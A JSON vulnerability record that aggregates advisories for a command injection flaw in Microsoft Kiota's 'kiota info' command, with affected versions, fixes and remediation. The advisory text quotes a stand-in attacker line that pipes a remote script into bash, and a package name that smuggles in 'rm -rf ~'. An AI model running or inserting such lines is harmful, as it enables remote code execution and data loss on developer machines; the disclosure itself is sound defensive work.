{"id":"CVE-2026-59865","aliases":["EUVD-2026-44933","GHSA-hq9q-27g5-qwpj"],"status":"published","title":"Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","severity":{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.04359,"percentile":0.91312,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-829","CWE-94"],"published":"2026-07-16T14:43:40Z","modified":"2026-11-07T02:48:39Z","fixes":[{"ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","fixed_in":["1.32.5","1.29.1"],"sources":["ghsa","osv"]},{"ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","fixed_in":["1.32.5","1.29.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.30.0"},{"fixed":"1.32.5"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.30.0"},{"fixed":"1.32.5"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}]},{"source":"osv","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.30.0"},{"fixed":"1.32.5"}]}],"versions":["1.30.0","1.31.0","1.31.1","1.32.0","1.32.1","1.32.2","1.32.3","1.32.4"]},{"source":"osv","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.30.0"},{"fixed":"1.32.5"}]}]},{"source":"osv","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}],"versions":["0.1.0-preview","0.1.1-preview","0.1.2-preview","0.1.3-preview","0.10.0-preview","0.11.0-preview","0.11.1-preview","0.2.0-preview","0.2.1-preview","0.3.0-preview","0.4.0-preview","0.5.0-preview","0.5.1-preview","0.6.0-preview","0.7.1-preview","0.8.3-preview","0.9.0-preview","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.13.0","1.14.0","1.15.0","1.16.0","1.17.0","1.18.0","1.19.0","1.19.1","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.22.1","1.22.2","1.22.3","1.23.0","1.24.0","1.24.1","1.24.2","1.24.3","1.25.1","1.26.0","1.26.1","1.27.0","1.28.0","1.29.0","1.3.0","1.4.0","1.5.0","1.5.1","1.6.1","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"]},{"source":"osv","ecosystem":"NuGet","package":"Microsoft.OpenApi.Kiota.Builder","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.29.1"}]}],"versions":["0.2.0-preview","0.3.0-preview","0.4.0-preview","0.5.0-preview","0.5.1-preview","0.6.0-preview","0.7.1-preview","1.0.0","1.0.1","1.1.0","1.1.1","1.1.2","1.1.3","1.10.0","1.10.1","1.11.0","1.11.1","1.12.0","1.13.0","1.14.0","1.15.0","1.16.0","1.17.0","1.18.0","1.19.0","1.19.1","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.22.1","1.22.2","1.22.3","1.23.0","1.3.0","1.4.0","1.5.0","1.5.1","1.6.1","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"]}],"products":[{"vendor":"microsoft","product":"kiota"}],"references":[{"url":"https://github.com/microsoft/kiota/security/advisories/GHSA-hq9q-27g5-qwpj","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/microsoft/kiota/pull/7883","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/microsoft/kiota/commit/e1d6d76c6eecbe50785429166faaf8c831e036c6","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/microsoft/kiota/releases/tag/v1.32.5","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59865","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hq9q-27g5-qwpj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/59xxx/CVE-2026-59865.json","tags":["advisory"]},{"url":"https://github.com/microsoft/kiota","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-59865","title":"Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","status":"published","published":"2026-07-16T14:43:40.058Z","modified":"2026-08-17T15:03:03.236Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical","assessor":"cna"}],"cwes":["CWE-94","CWE-829"],"updated_at":"2026-11-02T14:19:58.560602Z"}],"euvd":[{"id":"EUVD-2026-44933","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","status":"published","published":"2026-07-16T14:43:40Z","modified":"2026-08-17T15:03:03Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"updated_at":"2026-11-02T18:01:49.335011Z"}],"ghsa":[{"id":"GHSA-hq9q-27g5-qwpj","title":"Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d \u003cattacker-spec\u003e -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.","status":"published","published":"2026-07-24T16:11:46Z","modified":"2026-08-17T14:55:21Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-94","CWE-829"],"updated_at":"2026-11-02T14:41:01.23108Z"}],"nvd":[{"id":"CVE-2026-59865","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","status":"published","published":"2026-07-16T16:19:15.373Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"}],"cwes":["CWE-94","CWE-829"],"updated_at":"2026-11-02T14:12:30.250437Z"}],"osv":[{"id":"CVE-2026-59865","title":"Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.29.1 and 1.32.5, `kiota info` read x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand plus dependency name and version values from an OpenAPI description and presented the spec-supplied command as Kiota's recommended install command, allowing an attacker-controlled or compromised description to cause command injection when the suggested command was run manually or through the Kiota VS Code extension's kiota info --json dependency-install flow. This issue is fixed in version 1.29.1 and 1.32.5.","status":"published","published":"2026-07-16T14:43:40.058Z","modified":"2026-11-07T02:48:39.467739018Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-829","CWE-94"],"updated_at":"2026-11-07T03:08:08.148548Z"},{"id":"GHSA-hq9q-27g5-qwpj","title":"Microsoft Kiota: Command injection via x-ms-kiota-info dependencyInstallCommand surfaced by `kiota info`","description":"### Summary\n\n`kiota info` — the command developers run to learn which packages to install after generating a client —\nread the `x-ms-kiota-info` extension from the OpenAPI description and presented the spec-supplied\n`dependencyInstallCommand` (and dependency `name`/`version`) **as the tool's own recommended install\ncommand**, replacing kiota's normally-trusted suggestion. With an attacker-controlled or compromised\ndescription:\n\n```\n$ kiota info -d \u003cattacker-spec\u003e -l CSharp\n   ...\n   Hint: use the install command to install the dependencies.\n   Example:\n      curl -s https://attacker.example/x.sh | bash   # attacker-controlled\n```\n\nA developer who followed kiota's explicit instruction (run the suggested install command) executed\nattacker-controlled shell — **command injection → RCE**. The IDE-facing `kiota info --json` output, which the\nKiota **VS Code extension** consumes to offer/run dependency installation, exposed the raw command string\ndirectly, so an \"install dependencies\" action in the IDE could run it automatically.\n\nConfirmed on Kiota **1.32.4**.\n\n### Details\n\n`x-ms-kiota-info.languagesInformation.\u003clanguage\u003e.dependencyInstallCommand` was emitted verbatim as the\ninstall-command example, and `dependencies[].name`/`version` were shown verbatim in the package table:\n\n```\n# spec\nx-ms-kiota-info:\n  languagesInformation:\n    CSharp:\n      dependencyInstallCommand: \"curl -s https://attacker.example/x.sh | bash\"\n      dependencies: [{ name: \"Evil.Pkg; rm -rf ~\", version: \"1.0.0\", type: bundle }]\n```\n\nWithout `x-ms-kiota-info`, kiota suggests its own trusted command (e.g.\n`dotnet add package Microsoft.Kiota.Authentication.Azure --version 2.0.0`); the spec's value **replaced** it.\n`kiota info --json` (consumed by the Kiota VS Code extension) emitted the attacker command in\n`dependencyInstallCommand`.\n\n### Impact\n\nA developer who ran `kiota info` on an attacker-controlled or compromised OpenAPI description and followed\nkiota's instruction to run the suggested install command executed arbitrary shell on their workstation or CI\nhost. The Kiota VS Code extension, which surfaced/ran `dependencyInstallCommand` from the `--json` output,\ncould make this automatic. CWE-94 / CWE-829.\n\nPrecondition: the description is from an untrusted source (or a trusted one that was tampered with), and the\nrecommended command is run (manually per kiota's hint, or by the IDE).\n\n### Patches\n\nFixed in **1.29.1 and 1.32.5** (https://github.com/microsoft/kiota/pull/7883). Support for the spec-supplied\n`dependencyInstallCommand` in `x-ms-kiota-info` was **removed** entirely: `kiota info` no longer reads or\npresents a description-provided install command and only surfaces kiota's own built-in, package-manager\ntemplates. The `--json` output no longer carries a spec-controlled command string for the IDE to run.\n\n### Remediation\n\nUpgrade to Kiota **1.29.1, 1.32.5,** or later. Update the Kiota VS Code extension to a version built against 1.32.5+.","status":"published","published":"2026-07-24T16:11:46Z","modified":"2026-08-17T15:00:08.128746172Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-829","CWE-94"],"updated_at":"2026-11-02T15:46:49.28217Z"}]}}
